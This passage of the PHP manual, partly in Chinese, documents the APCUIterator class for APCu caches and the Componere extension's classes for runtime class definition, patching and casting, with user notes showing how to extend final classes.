APCUIterator 类可以更轻松的迭代大型 APCu 缓存。 它所支持的逐步迭代功能对于遍历大型缓存非常有用，每次加锁后只会获取指定数量（默认 100 条）的缓存条目就会释放锁而非一直锁住整个缓存，以便其他活动对缓存进行操作。 此外，使用正则表达式匹配是更高效的，因为它已经被移到了 C 语言层级（C level）。

类摘要

class APCUIterator implements Iterator {
/* 方法 */
public __construct(
array|string|null $search = null,
int $format = APC_ITER_ALL,
int $chunk_size = 100,
int $list = APC_LIST_ACTIVE
)
public current(): mixed
public getTotalCount(): int
public getTotalHits(): int
public getTotalSize(): int
public key(): string
public next(): bool
public rewind(): void
public valid(): bool
}

Table of Contents

  • APCUIterator::__construct — Constructs an APCUIterator iterator object
  • APCUIterator::current — Get current item
  • APCUIterator::getTotalCount — Get total count
  • APCUIterator::getTotalHits — Get total cache hits
  • APCUIterator::getTotalSize — Get total cache size
  • APCUIterator::key — Get iterator key
  • APCUIterator::next — Move pointer to next item
  • APCUIterator::rewind — Rewinds iterator
  • APCUIterator::valid — Checks if current position is valid

User Contributed Notes

There are no user contributed notes for this page.


Constructs an APCUIterator iterator object

  • ? APCUIterator
  • APCUIterator::current ?
  • PHP Manual
  • APCUIterator
  • Constructs an APCUIterator iterator object

APCUIterator::__construct

(PECL apcu >= 5.0.0)

APCUIterator::__construct — Constructs an APCUIterator iterator object

说明

public APCUIterator::__construct(
array|string|null $search = null,
int $format = APC_ITER_ALL,
int $chunk_size = 100,
int $list = APC_LIST_ACTIVE
)

Constructs an APCUIterator object.

参数

search

Either a PCRE regular expression that matches against APCu key names, given as a string. Or an array of strings with APCu key names. Or, optionally null to skip the search.

format

The desired format, as configured with one or more of the APC_ITER_* constants.

chunk_size

The chunk size. Must be a value greater than 0. The default value is 100.

list

The type to list. Either pass in APC_LIST_ACTIVE or APC_LIST_DELETED.

示例

Example #1 A APCUIterator::__construct() example

<?php
foreach (new APCUIterator('/^counter\./') as $counter) {
echo "$counter[key]: $counter[value]\n";
apc_dec($counter['key'], $counter['value']);
}
?>

参见

  • apcu_exists() - Checks if entry exists
  • apcu_cache_info() - 从 APCu 存储中获取缓存信息

User Contributed Notes

There are no user contributed notes for this page.


Get current item

  • ? APCUIterator::__construct
  • APCUIterator::getTotalCount ?
  • PHP Manual
  • APCUIterator
  • Get current item

APCUIterator::current

(PECL apcu >= 5.0.0)

APCUIterator::current — Get current item

说明

public APCUIterator::current(): mixed

Gets the current item from the APCUIterator stack.

参数

此函数没有参数。

返回值

Returns the current item on success, or false if no more items or exist, or on failure.

参见

  • APCUIterator::next() - Move pointer to next item
  • Iterator::current() - 返回当前元素

User Contributed Notes

There are no user contributed notes for this page.


Get total count

  • ? APCUIterator::current
  • APCUIterator::getTotalHits ?
  • PHP Manual
  • APCUIterator
  • Get total count

APCUIterator::getTotalCount

(PECL apcu >= 5.0.0)

APCUIterator::getTotalCount — Get total count

说明

public APCUIterator::getTotalCount(): int

Get the total count.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

The total count.

参见

  • APCUIterator::getTotalHits() - Get total cache hits
  • APCUIterator::getTotalSize() - Get total cache size
  • apcu_cache_info() - 从 APCu 存储中获取缓存信息

User Contributed Notes

There are no user contributed notes for this page.


Get total cache hits

  • ? APCUIterator::getTotalCount
  • APCUIterator::getTotalSize ?
  • PHP Manual
  • APCUIterator
  • Get total cache hits

APCUIterator::getTotalHits

(PECL apcu >= 5.0.0)

APCUIterator::getTotalHits — Get total cache hits

说明

public APCUIterator::getTotalHits(): int

Gets the total number of cache hits.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

The number of hits on success, or false on failure.

参见

  • APCUIterator::getTotalCount() - Get total count
  • APCUIterator::getTotalSize() - Get total cache size
  • apcu_cache_info() - 从 APCu 存储中获取缓存信息

User Contributed Notes

There are no user contributed notes for this page.


Get total cache size

  • ? APCUIterator::getTotalHits
  • APCUIterator::key ?
  • PHP Manual
  • APCUIterator
  • Get total cache size

APCUIterator::getTotalSize

(PECL apcu >= 5.0.0)

APCUIterator::getTotalSize — Get total cache size

说明

public APCUIterator::getTotalSize(): int

Gets the total cache size.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

The total cache size.

参见

  • APCUIterator::getTotalCount() - Get total count
  • APCUIterator::getTotalHits() - Get total cache hits
  • apc_cache_info()

User Contributed Notes

There are no user contributed notes for this page.


Get iterator key

  • ? APCUIterator::getTotalSize
  • APCUIterator::next ?
  • PHP Manual
  • APCUIterator
  • Get iterator key

APCUIterator::key

(PECL apcu >= 5.0.0)

APCUIterator::key — Get iterator key

说明

public APCUIterator::key(): string

Gets the current iterator key.

参数

此函数没有参数。

返回值

Returns the key on success, or false upon failure.

参见

  • APCUIterator::current() - Get current item
  • Iterator::key() - 返回当前元素的键

User Contributed Notes

There are no user contributed notes for this page.


Move pointer to next item

  • ? APCUIterator::key
  • APCUIterator::rewind ?
  • PHP Manual
  • APCUIterator
  • Move pointer to next item

APCUIterator::next

(PECL apcu >= 5.0.0)

APCUIterator::next — Move pointer to next item

说明

public APCUIterator::next(): bool

Moves the iterator pointer to the next element.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • APCUIterator::current() - Get current item
  • APCUIterator::rewind() - Rewinds iterator
  • Iterator::next() - 向前移动到下一个元素

User Contributed Notes

There are no user contributed notes for this page.


Rewinds iterator

  • ? APCUIterator::next
  • APCUIterator::valid ?
  • PHP Manual
  • APCUIterator
  • Rewinds iterator

APCUIterator::rewind

(PECL apcu >= 5.0.0)

APCUIterator::rewind — Rewinds iterator

说明

public APCUIterator::rewind(): void

Rewinds back the iterator to the first element.

参数

此函数没有参数。

返回值

没有返回值。

参见

  • APCUIterator::next() - Move pointer to next item
  • Iterator::next() - 向前移动到下一个元素

User Contributed Notes

There are no user contributed notes for this page.


Checks if current position is valid

  • ? APCUIterator::rewind
  • Componere ?
  • PHP Manual
  • APCUIterator
  • Checks if current position is valid

APCUIterator::valid

(PECL apcu >= 5.0.0)

APCUIterator::valid — Checks if current position is valid

说明

public APCUIterator::valid(): bool

Checks if the current iterator position is valid.

参数

此函数没有参数。

返回值

Returns true if the current iterator position is valid, otherwise false.

参见

  • APCUIterator::current() - Get current item
  • Iterator::valid() - 检查当前位置是否有效

User Contributed Notes

There are no user contributed notes for this page.


Componere

  • 简介
  • 安装/配置
    • 需求
    • 安装
  • Componere\Abstract\Definition — The Componere\Abstract\Definition class
    • Componere\Abstract\Definition::addInterface — Add Interface
    • Componere\Abstract\Definition::addMethod — Add Method
    • Componere\Abstract\Definition::addTrait — Add Trait
    • Componere\Abstract\Definition::getReflector — Reflection
  • Componere\Definition — The Componere\Definition class
    • Componere\Definition::__construct — Definition Construction
    • Componere\Definition::addConstant — Add Constant
    • Componere\Definition::addProperty — Add Property
    • Componere\Definition::register — Registration
    • Componere\Definition::isRegistered — State Detection
    • Componere\Definition::getClosure — Get Closure
    • Componere\Definition::getClosures — Get Closures
  • Componere\Patch — The Componere\Patch class
    • Componere\Patch::__construct — Patch Construction
    • Componere\Patch::apply — Application
    • Componere\Patch::revert — Reversal
    • Componere\Patch::isApplied — State Detection
    • Componere\Patch::derive — Patch Derivation
    • Componere\Patch::getClosure — Get Closure
    • Componere\Patch::getClosures — Get Closures
  • Componere\Method — The Componere\Method class
    • Componere\Method::__construct — Method Construction
    • Componere\Method::setPrivate — Accessibility Modification
    • Componere\Method::setProtected — Accessibility Modification
    • Componere\Method::setStatic — Accessibility Modification
    • Componere\Method::getReflector — Reflection
  • Componere\Value — The Componere\Value class
    • Componere\Value::__construct — Value Construction
    • Componere\Value::setPrivate — Accessibility Modification
    • Componere\Value::setProtected — Accessibility Modification
    • Componere\Value::setStatic — Accessibility Modification
    • Componere\Value::isPrivate — Accessibility Detection
    • Componere\Value::isProtected — Accessibility Detection
    • Componere\Value::isStatic — Accessibility Detection
    • Componere\Value::hasDefault — Value Interaction
  • Componere 函数
    • Componere\cast — Casting
    • Componere\cast_by_ref — Casting

User Contributed Notes

There are no user contributed notes for this page.


简介

Componere (latin, English: compose) targets production environments and provides an API for composition of classes, monkey patching, and casting.

Composition:

Componere\Definition is used to define (or redefine) a class at runtime; The class can then be registered, and in the case of redefinition it replaces the original class for as long as the Componere\Definition exists.

public Componere\Definition::__construct(string $name)
public Componere\Definition::__construct(string $name, string $parent)
public Componere\Definition::__construct(string $name, array $interfaces)
public Componere\Definition::__construct(string $name, string $parent, array $interfaces)

Patching:

Componere\Patch is used to change the class of a specific instance of an object at runtime; Upon application the patch will remain applied for as long as the Componere\Patch exists, and can be reverted explicitly.

public Componere\Patch::__construct(object $instance)
public Componere\Patch::__construct(object $instance, array $interfaces)

Casting:

Componere\ casting functions can cast among user defined compatible types; Where compatible means Type is sub or super to the type of object.

Componere\cast(Type $type, $object): Type
Componere\cast_by_ref(Type $type, $object): Type

User Contributed Notes

There are no user contributed notes for this page.


安装/配置

Table of Contents

  • 需求
  • 安装

User Contributed Notes

There are no user contributed notes for this page.


需求

Reflection is required

User Contributed Notes

There are no user contributed notes for this page.


安装

Componere source and releases are available on » github

User Contributed Notes

There are no user contributed notes for this page.


The Componere\Abstract\Definition class

(Componere 2 >= 2.1.0)

简介

This final abstract represents a class entry, and should not be used by the programmer.

类摘要

final abstract class Componere\Abstract\Definition {
/* 方法 */
public addInterface(string $interface): Definition
public addMethod(string $name, Componere\Method $method): Definition
public addTrait(string $trait): Definition
public getReflector(): ReflectionClass
}

Table of Contents

  • Componere\Abstract\Definition::addInterface — Add Interface
  • Componere\Abstract\Definition::addMethod — Add Method
  • Componere\Abstract\Definition::addTrait — Add Trait
  • Componere\Abstract\Definition::getReflector — Reflection

User Contributed Notes

There are no user contributed notes for this page.


Add Interface

  • ? Componere\Abstract\Definition
  • Componere\Abstract\Definition::addMethod ?
  • PHP Manual
  • Componere\Abstract\Definition
  • Add Interface

Componere\Abstract\Definition::addInterface

(Componere 2 >= 2.1.0)

Componere\Abstract\Definition::addInterface — Add Interface

说明

public Componere\Abstract\Definition::addInterface(string $interface): Definition

Shall implement the given interface on the current definition

参数

interface

The case insensitive name of an interface

返回值

The current Definition

Exceptions

Warning

Shall throw RuntimeException if Definition was registered

User Contributed Notes

There are no user contributed notes for this page.


Add Method

  • ? Componere\Abstract\Definition::addInterface
  • Componere\Abstract\Definition::addTrait ?
  • PHP Manual
  • Componere\Abstract\Definition
  • Add Method

Componere\Abstract\Definition::addMethod

(Componere 2 >= 2.1.0)

Componere\Abstract\Definition::addMethod — Add Method

说明

public Componere\Abstract\Definition::addMethod(string $name, Componere\Method $method): Definition

Shall create or override a method on the current definition.

参数

name

The case insensitive name for method

method

Componere\Method not previously added to another Definition

返回值

The current Definition

Exceptions

Warning

Shall throw RuntimeException if Definition was registered

Warning

Shall throw RuntimeException if Method was added to another Definition

User Contributed Notes

There are no user contributed notes for this page.


Add Trait

  • ? Componere\Abstract\Definition::addMethod
  • Componere\Abstract\Definition::getReflector ?
  • PHP Manual
  • Componere\Abstract\Definition
  • Add Trait

Componere\Abstract\Definition::addTrait

(Componere 2 >= 2.1.0)

Componere\Abstract\Definition::addTrait — Add Trait

说明

public Componere\Abstract\Definition::addTrait(string $trait): Definition

Shall use the given trait for the current definition

参数

trait

The case insensitive name of a trait

返回值

The current Definition

Exceptions

Warning

Shall throw RuntimeException if Definition was registered

User Contributed Notes

ASchmidt at Anamera dot net 23-Mar-2018 12:22
Adding a trait is an efficient way to extend a "final" class, overriding methods and adding new ones, without having to individually add each method as a closure. It also results in more readable code.

<?php
declare(strict_types=1);

/*
 *  Final class would normally prevent extending.
 */
final class ParentC
{
    public $parentvar;
    public $secondvar;

    function __construct() { echo( "\r\n<br/>".$this->parentvar = 'set by '.get_class().'->parentconstruct' ); }
    function parentf() { echo( "\r\n<br/>".get_class().'->parentf >> '.$this->parentvar ); }
}

/*
 *  Extended class members.
 */
trait ChildC /* extends ParentC */
{
    function __construct() {
        // Call parent constructor.
        parent::__construct();
        // Access an inherited property set by parent constructor.
        echo( "\r\n<br/>".get_class().'->overridden_constructor >> '.$this->parentvar );
    }

    function parentf() {
        // Call overridden parent method.
        parent::parentf();
        // Access an inherited property set by constructor.
        echo( "\r\n<br/>".get_class().'->overridden_parentf >> '.$this->parentvar );
    }

    function dynamicf( $parm = null ) {
        // Populate a parent class property.
        $this->secondvar = empty( $parm ) ? 'set by '.get_class().'->dynamicf' : $parm;
        // Access an inherited property set by parent constructor.
        echo( "\r\n<br/>".get_class().'->dynamicf >> '.$this->parentvar );
    }
}

/*
 *  Register the dynamic child class "ChildC", which is
 *  derived by extending "ParentC" with members supplied as "ChildC" trait.
 */
$definition = new \Componere\Definition( 'ChildC', ParentC::class );
$definition->addTrait( 'ChildC' );
$definition ->register();

/*
 *  Instantiate the dynamic child class,
 *  and access its own and inherited members.
 */
$dyno = new ChildC;
$dyno->parentf();
$dyno->dynamicf( 'myvalue ');

// Our object is also recognized as instance of parent!
var_dump( $dyno instanceof ChildC, $dyno instanceof ParentC, is_a( $dyno, 'ParentC') );
var_dump( $dyno );
?>

will output:

set by ParentC->parentconstruct
ChildC->overridden_constructor >> set by ParentC->parentconstruct
ParentC->parentf >> set by ParentC->parentconstruct
ChildC->overridden_parentf >> set by ParentC->parentconstruct
ChildC->dynamicf >> set by ParentC->parentconstruct

boolean true
boolean true
boolean true

object(ChildC)[2]
  public 'parentvar' => string 'set by ParentC->parentconstruct' (length=31)
  public 'secondvar' => string 'myvalue ' (length=8)


Reflection

  • ? Componere\Abstract\Definition::addTrait
  • Componere\Definition ?
  • PHP Manual
  • Componere\Abstract\Definition
  • Reflection

Componere\Abstract\Definition::getReflector

(Componere 2 >= 2.1.0)

Componere\Abstract\Definition::getReflector — Reflection

说明

public Componere\Abstract\Definition::getReflector(): ReflectionClass

Shall create or return a ReflectionClass

返回值

A ReflectionClass for the current definition (cached)

User Contributed Notes

There are no user contributed notes for this page.


The Componere\Definition class

(Componere 2 >= 2.1.0)

简介

The Definition class allows the programmer to build and register a type at runtime.

Should a Definition replace an existing class, the existing class will be restored when the Definition is destroyed.

类摘要

final class Componere\Definition extends Componere\Abstract\Definition {
/* Constructors */
public __construct(string $name)
public __construct(string $name, string $parent)
public __construct(string $name, array $interfaces)
public __construct(string $name, string $parent, array $interfaces)
/* 方法 */
public addConstant(string $name, Componere\Value $value): Definition
public addProperty(string $name, Componere\Value $value): Definition
public register(): void
public isRegistered(): bool
public getClosure(string $name): Closure
public getClosures(): array
/* 继承的方法 */
public Componere\Abstract\Definition::addInterface(string $interface): Definition
public Componere\Abstract\Definition::addMethod(string $name, Componere\Method $method): Definition
public Componere\Abstract\Definition::addTrait(string $trait): Definition
public Componere\Abstract\Definition::getReflector(): ReflectionClass
}

Table of Contents

  • Componere\Definition::__construct — Definition Construction
  • Componere\Definition::addConstant — Add Constant
  • Componere\Definition::addProperty — Add Property
  • Componere\Definition::register — Registration
  • Componere\Definition::isRegistered — State Detection
  • Componere\Definition::getClosure — Get Closure
  • Componere\Definition::getClosures — Get Closures

User Contributed Notes

ASchmidt at Anamera dot net 20-Mar-2018 11:58
Sometimes we might wish to extend a third party class that has been defined as "final".

In this example, the a child class will extend a "final" class, adding a method. An object instance will be able to access parent members, and is recognized as an instance of both the dynamically created child class as well as its parent class.

<?php
declare(strict_types=1);

/*
 *  Final class would normally prevent extending.
 */
final class ParentC
{
    public $parentvar;
    public $secondvar;

    function __construct() { echo( "\r\n<br/>".$this->parentvar = 'set by '.get_class().'->parentconstruct' ); }
    function parentf() { echo( "\r\n<br/>".get_class().'->parentf >> '.$this->parentvar ); }
}

/*
 *  Dynamically define a child class "DynamicC"
 *  which successfully extends final class "ParentC".
 */
$DefC = new \Componere\Definition( 'DynamicC', 'ParentC');

// Extend child class with method 'DynamicC::dynamicf()'.
$DefM = new Componere\Method( function( $parm = null ) {
    // Populate a parent class property.
    $this->secondvar = empty( $parm ) ? 'set by '.get_class().'->dynamicf' : $parm;
    // Access an inherited property set by parent constructor.
    echo( "\r\n<br/>".get_class().'->dynamicf >> '.$this->parentvar );
} );
$DefC->addMethod( 'dynamicf', $DefM );

// Take dynamic child class 'life'.
$DefC->register();

/*
 *  Instantiate the dynamic child class,
 *  and access its own and inherited members.
 */

$dyno = new DynamicC;
$dyno->parentf();
$dyno->dynamicf( 'myvalue ');

// Our object is also recognized as instance of parent!
var_dump( $dyno instanceof DynamicC, $dyno instanceof ParentC );
var_dump( $dyno );
%>

will output:

set by ParentC->parentconstruct
ParentC->parentf >> set by ParentC->parentconstruct
DynamicC->dynamicf >> set by ParentC->parentconstruct

(boolean) true
(boolean) true

object(DynamicC)
  public 'parentvar' => string 'set by ParentC->parentconstruct' (length=31)
  public 'secondvar' => string 'myvalue ' (length=8)


Definition Construction

  • ? Componere\Definition
  • Componere\Definition::addConstant ?
  • PHP Manual
  • Componere\Definition
  • Definition Construction

Componere\Definition::__construct

(Componere 2 >= 2.1.0)

Componere\Definition::__construct — Definition Construction

说明

public Componere\Definition::__construct(string $name)
public Componere\Definition::__construct(string $name, string $parent)
public Componere\Definition::__construct(string $name, array $interfaces)
public Componere\Definition::__construct(string $name, string $parent, array $interfaces)

参数

name

A case insensitive class name

parent

A case insensitive class name

interfaces

An array of case insensitive class names

Exceptions

Warning

Shall throw InvalidArgumentException if an attempt is made to replace an internal class

Warning

Shall throw InvalidArgumentException if an attempt is made to replace an interface

Warning

Shall throw InvalidArgumentException if an attempt is made to replace a trait

Warning

Shall throw RuntimeException if a class in interfaces cannot be found

Warning

Shall throw RuntimeException if an class in interfaces is not an interface

User Contributed Notes

There are no user contributed notes for this page.


Add Constant

  • ? Componere\Definition::__construct
  • Componere\Definition::addProperty ?
  • PHP Manual
  • Componere\Definition
  • Add Constant

Componere\Definition::addConstant

(Componere 2 >= 2.1.0)

Componere\Definition::addConstant — Add Constant

说明

public Componere\Definition::addConstant(string $name, Componere\Value $value): Definition

Shall declare a class constant on the current Definition

参数

name

The case sensitive name for the constant

value

The Value for the constant, must not be undefined or static

返回值

The current Definition

Exceptions

Warning

Shall throw RuntimeException if Definition was registered

Warning

Shall throw RuntimeException if name is already declared as a constant

Warning

Shall throw RuntimeException if value is static

Warning

Shall throw RuntimeException if value is undefined

User Contributed Notes

There are no user contributed notes for this page.


Add Property

  • ? Componere\Definition::addConstant
  • Componere\Definition::register ?
  • PHP Manual
  • Componere\Definition
  • Add Property

Componere\Definition::addProperty

(Componere 2 >= 2.1.0)

Componere\Definition::addProperty — Add Property

说明

public Componere\Definition::addProperty(string $name, Componere\Value $value): Definition

Shall declare a class property on the current Definition

参数

name

The case sensitive name for the property

value

The default Value for the property

返回值

The current Definition

Exceptions

Warning

Shall throw RuntimeException if Definition was registered

Warning

Shall throw RuntimeException if name is already declared as a property

User Contributed Notes

There are no user contributed notes for this page.


Registration

  • ? Componere\Definition::addProperty
  • Componere\Definition::isRegistered ?
  • PHP Manual
  • Componere\Definition
  • Registration

Componere\Definition::register

(Componere 2 >= 2.1.0)

Componere\Definition::register — Registration

说明

public Componere\Definition::register(): void

Shall register the current Definition

Exceptions

Warning

Shall throw RuntimeException if Definition was registered

User Contributed Notes

There are no user contributed notes for this page.


State Detection

  • ? Componere\Definition::register
  • Componere\Definition::getClosure ?
  • PHP Manual
  • Componere\Definition
  • State Detection

Componere\Definition::isRegistered

(Componere 2 >= 2.1.0)

Componere\Definition::isRegistered — State Detection

说明

public Componere\Definition::isRegistered(): bool

Shall detect the registration state of this Definition

返回值

Shall return true if this Definition is registered

User Contributed Notes

There are no user contributed notes for this page.


Get Closure

  • ? Componere\Definition::isRegistered
  • Componere\Definition::getClosures ?
  • PHP Manual
  • Componere\Definition
  • Get Closure

Componere\Definition::getClosure

(Componere 2 >= 2.1.0)

Componere\Definition::getClosure — Get Closure

说明

public Componere\Definition::getClosure(string $name): Closure

Shall return a Closure for the method specified by name

参数

name

The case insensitive name of the method

返回值

A Closure bound to the correct scope

Exceptions

Warning

Shall throw RuntimeException if Definition was registered

Warning

Shall throw RuntimeException if name could not be found

User Contributed Notes

There are no user contributed notes for this page.


Get Closures

  • ? Componere\Definition::getClosure
  • Componere\Patch ?
  • PHP Manual
  • Componere\Definition
  • Get Closures

Componere\Definition::getClosures

(Componere 2 >= 2.1.0)

Componere\Definition::getClosures — Get Closures

说明

public Componere\Definition::getClosures(): array

Shall return an array of Closures

返回值

Shall return all methods as an array of Closure objects bound to the correct scope

Exceptions

Warning

Shall throw RuntimeException if Definition was registered

User Contributed Notes

There are no user contributed notes for this page.


The Componere\Patch class

(Componere 2 >= 2.1.0)

简介

The Patch class allows the programmer to change the type of an instance at runtime without registering a new Definition

When a Patch is destroyed it is reverted, so that instances that were patched during the lifetime of the Patch are restored to their formal type.

类摘要

final class Componere\Patch extends Componere\Abstract\Definition {
/* Constructors */
public __construct(object $instance)
public __construct(object $instance, array $interfaces)
/* 方法 */
public apply(): void
public revert(): void
public isApplied(): bool
public derive(object $instance): Patch
public getClosure(string $name): Closure
public getClosures(): array
/* 继承的方法 */
public Componere\Abstract\Definition::addInterface(string $interface): Definition
public Componere\Abstract\Definition::addMethod(string $name, Componere\Method $method): Definition
public Componere\Abstract\Definition::addTrait(string $trait): Definition
public Componere\Abstract\Definition::getReflector(): ReflectionClass
}

Table of Contents

  • Componere\Patch::__construct — Patch Construction
  • Componere\Patch::apply — Application
  • Componere\Patch::revert — Reversal
  • Componere\Patch::isApplied — State Detection
  • Componere\Patch::derive — Patch Derivation
  • Componere\Patch::getClosure — Get Closure
  • Componere\Patch::getClosures — Get Closures

User Contributed Notes

There are no user contributed notes for this page.


Patch Construction

  • ? Componere\Patch
  • Componere\Patch::apply ?
  • PHP Manual
  • Componere\Patch
  • Patch Construction

Componere\Patch::__construct

(Componere 2 >= 2.1.0)

Componere\Patch::__construct — Patch Construction

说明

public Componere\Patch::__construct(object $instance)
public Componere\Patch::__construct(object $instance, array $interfaces)

参数

instance

The target for this Patch

interfaces

A case insensitive array of class names

Exceptions

Warning

Shall throw RuntimeException if a class in interfaces cannot be found

Warning

Shall throw RuntimeException if an class in interfaces is not an interface

User Contributed Notes

There are no user contributed notes for this page.


Application

  • ? Componere\Patch::__construct
  • Componere\Patch::revert ?
  • PHP Manual
  • Componere\Patch
  • Application

Componere\Patch::apply

(Componere 2 >= 2.1.0)

Componere\Patch::apply — Application

说明

public Componere\Patch::apply(): void

Shall apply the current patch

User Contributed Notes

There are no user contributed notes for this page.


Reversal

  • ? Componere\Patch::apply
  • Componere\Patch::isApplied ?
  • PHP Manual
  • Componere\Patch
  • Reversal

Componere\Patch::revert

(Componere 2 >= 2.1.0)

Componere\Patch::revert — Reversal

说明

public Componere\Patch::revert(): void

Shall revert the current patch

User Contributed Notes

There are no user contributed notes for this page.


State Detection

  • ? Componere\Patch::revert
  • Componere\Patch::derive ?
  • PHP Manual
  • Componere\Patch
  • State Detection

Componere\Patch::isApplied

(Componere 2 >= 2.1.0)

Componere\Patch::isApplied — State Detection

说明

public Componere\Patch::isApplied(): bool

User Contributed Notes

There are no user contributed notes for this page.


Patch Derivation

  • ? Componere\Patch::isApplied
  • Componere\Patch::getClosure ?
  • PHP Manual
  • Componere\Patch
  • Patch Derivation

Componere\Patch::derive

(Componere 2 >= 2.1.1)

Componere\Patch::derive — Patch Derivation

说明

public Componere\Patch::derive(object $instance): Patch

Shall derive a Patch for the given instance

参数

instance

The target for the derived Patch

返回值

Patch for instance derived from the current Patch

Exceptions

Warning

Shall throw InvalidArgumentException if instance is not compatible

User Contributed Notes

There are no user contributed notes for this page.


Get Closure

  • ? Componere\Patch::derive
  • Componere\Patch::getClosures ?
  • PHP Manual
  • Componere\Patch
  • Get Closure

Componere\Patch::getClosure

(Componere 2 >= 2.1.0)

Componere\Patch::getClosure — Get Closure

说明

public Componere\Patch::getClosure(string $name): Closure

Shall return a Closure for the method specified by name

参数

name

The case insensitive name of the method

返回值

A Closure bound to the correct scope and object

Exceptions

Warning

Shall throw RuntimeException if name could not be found

User Contributed Notes

There are no user contributed notes for this page.


Get Closures

  • ? Componere\Patch::getClosure
  • Componere\Method ?
  • PHP Manual
  • Componere\Patch
  • Get Closures

Componere\Patch::getClosures

(Componere 2 >= 2.1.0)

Componere\Patch::getClosures — Get Closures

说明

public Componere\Patch::getClosures(): array

Shall return an array of Closures

返回值

Shall return all methods as an array of Closure objects bound to the correct scope and object

User Contributed Notes

There are no user contributed notes for this page.


The Componere\Method class

(Componere 2 >= 2.1.0)

简介

A Method represents a function with modifiable accessibility flags

类摘要

final class Componere\Method {
/* Constructor */
public __construct(Closure $closure)
/* 方法 */
public setPrivate(): Method
public setProtected(): Method
public setStatic(): Method
public getReflector(): ReflectionMethod
}

Table of Contents

  • Componere\Method::__construct — Method Construction
  • Componere\Method::setPrivate — Accessibility Modification
  • Componere\Method::setProtected — Accessibility Modification
  • Componere\Method::setStatic — Accessibility Modification
  • Componere\Method::getReflector — Reflection

User Contributed Notes

There are no user contributed notes for this page.


Method Construction

  • ? Componere\Method
  • Componere\Method::setPrivate ?
  • PHP Manual
  • Componere\Method
  • Method Construction

Componere\Method::__construct

(Componere 2 >= 2.1.0)

Componere\Method::__construct — Method Construction

说明

public Componere\Method::__construct(Closure $closure)

参数

closure

User Contributed Notes

There are no user contributed notes for this page.


Accessibility Modification

  • ? Componere\Method::__construct
  • Componere\Method::setProtected ?
  • PHP Manual
  • Componere\Method
  • Accessibility Modification

Componere\Method::setPrivate

(Componere 2 >= 2.1.0)

Componere\Method::setPrivate — Accessibility Modification

说明

public Componere\Method::setPrivate(): Method

返回值

The current Method

Exceptions

Warning

Shall throw RuntimeException if access level was previously set

User Contributed Notes

There are no user contributed notes for this page.


Accessibility Modification

  • ? Componere\Method::setPrivate
  • Componere\Method::setStatic ?
  • PHP Manual
  • Componere\Method
  • Accessibility Modification

Componere\Method::setProtected

(Componere 2 >= 2.1.0)

Componere\Method::setProtected — Accessibility Modification

说明

public Componere\Method::setProtected(): Method

返回值

The current Method

Exceptions

Warning

Shall throw RuntimeException if access level was previously set

User Contributed Notes

There are no user contributed notes for this page.


Accessibility Modification

  • ? Componere\Method::setProtected
  • Componere\Method::getReflector ?
  • PHP Manual
  • Componere\Method
  • Accessibility Modification

Componere\Method::setStatic

(Componere 2 >= 2.1.0)

Componere\Method::setStatic — Accessibility Modification

说明

public Componere\Method::setStatic(): Method

返回值

The current Method

User Contributed Notes

There are no user contributed notes for this page.


Reflection

  • ? Componere\Method::setStatic
  • Componere\Value ?
  • PHP Manual
  • Componere\Method
  • Reflection

Componere\Method::getReflector

(Componere 2 >= 2.1.0)

Componere\Method::getReflector — Reflection

说明

public Componere\Method::getReflector(): ReflectionMethod

Shall create or return a ReflectionMethod

返回值

A ReflectionMethod for the current method (cached)

User Contributed Notes

There are no user contributed notes for this page.


The Componere\Value class

(Componere 2 >= 2.1.0)

简介

A Value represents a PHP variable of all types, including undefined

类摘要

final class Componere\Value {
/* Constructor */
public __construct( $default = ?)
/* 方法 */
public setPrivate(): Value
public setProtected(): Value
public setStatic(): Value
public isPrivate(): bool
public isProtected(): bool
public isStatic(): bool
public hasDefault(): bool
}

Table of Contents

  • Componere\Value::__construct — Value Construction
  • Componere\Value::setPrivate — Accessibility Modification
  • Componere\Value::setProtected — Accessibility Modification
  • Componere\Value::setStatic — Accessibility Modification
  • Componere\Value::isPrivate — Accessibility Detection
  • Componere\Value::isProtected — Accessibility Detection
  • Componere\Value::isStatic — Accessibility Detection
  • Componere\Value::hasDefault — Value Interaction

User Contributed Notes

There are no user contributed notes for this page.


Value Construction

  • ? Componere\Value
  • Componere\Value::setPrivate ?
  • PHP Manual
  • Componere\Value
  • Value Construction

Componere\Value::__construct

(Componere 2 >= 2.1.0)

Componere\Value::__construct — Value Construction

说明

public Componere\Value::__construct( $default = ?)

参数

default

Exceptions

Warning

Shall throw InvalidArgumentException if default does not have a suitable value

User Contributed Notes

There are no user contributed notes for this page.


Accessibility Modification

  • ? Componere\Value::__construct
  • Componere\Value::setProtected ?
  • PHP Manual
  • Componere\Value
  • Accessibility Modification

Componere\Value::setPrivate

(Componere 2 >= 2.1.0)

Componere\Value::setPrivate — Accessibility Modification

说明

public Componere\Value::setPrivate(): Value

返回值

The current Value

Exceptions

Warning

Shall throw RuntimeException if access level was previously set

User Contributed Notes

There are no user contributed notes for this page.


Accessibility Modification

  • ? Componere\Value::setPrivate
  • Componere\Value::setStatic ?
  • PHP Manual
  • Componere\Value
  • Accessibility Modification

Componere\Value::setProtected

(Componere 2 >= 2.1.0)

Componere\Value::setProtected — Accessibility Modification

说明

public Componere\Value::setProtected(): Value

返回值

The current Value

Exceptions

Warning

Shall throw RuntimeException if access level was previously set

User Contributed Notes

There are no user contributed notes for this page.


Accessibility Modification

  • ? Componere\Value::setProtected
  • Componere\Value::isPrivate ?
  • PHP Manual
  • Componere\Value
  • Accessibility Modification

Componere\Value::setStatic

(Componere 2 >= 2.1.0)

Componere\Value::setStatic — Accessibility Modification

说明

public Componere\Value::setStatic(): Value

返回值

The current Value

User Contributed Notes

There are no user contributed notes for this page.


Accessibility Detection

  • ? Componere\Value::setStatic
  • Componere\Value::isProtected ?
  • PHP Manual
  • Componere\Value
  • Accessibility Detection

Componere\Value::isPrivate

(Componere 2 >= 2.1.0)

Componere\Value::isPrivate — Accessibility Detection

说明

public Componere\Value::isPrivate(): bool

User Contributed Notes

There are no user contributed notes for this page.


Accessibility Detection

  • ? Componere\Value::isPrivate
  • Componere\Value::isStatic ?
  • PHP Manual
  • Componere\Value
  • Accessibility Detection

Componere\Value::isProtected

(Componere 2 >= 2.1.0)

Componere\Value::isProtected — Accessibility Detection

说明

public Componere\Value::isProtected(): bool

